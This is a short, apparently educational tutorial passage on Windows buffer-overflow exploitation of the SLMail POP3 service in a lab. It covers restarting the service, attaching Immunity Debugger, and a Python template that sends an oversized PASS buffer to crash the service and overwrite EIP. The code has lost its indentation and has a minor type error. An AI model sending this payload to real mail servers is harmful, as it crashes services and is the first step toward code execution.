Windows Exploiting

[introduction]

Start installing the SLMail service​

Restart SLMail service​

Every time you need to restart the service SLMail you can do it using the windows console:

net start slmail

Very basic python exploit template​

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Change Immunity Debugger Font​

Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

Attach the proces to Immunity Debugger:​

File --> Attach



And press START button

Send the exploit and check if EIP is affected:​

Every time you break the service you should restart it as is indicated in the beginnig of this page.

Click to read more...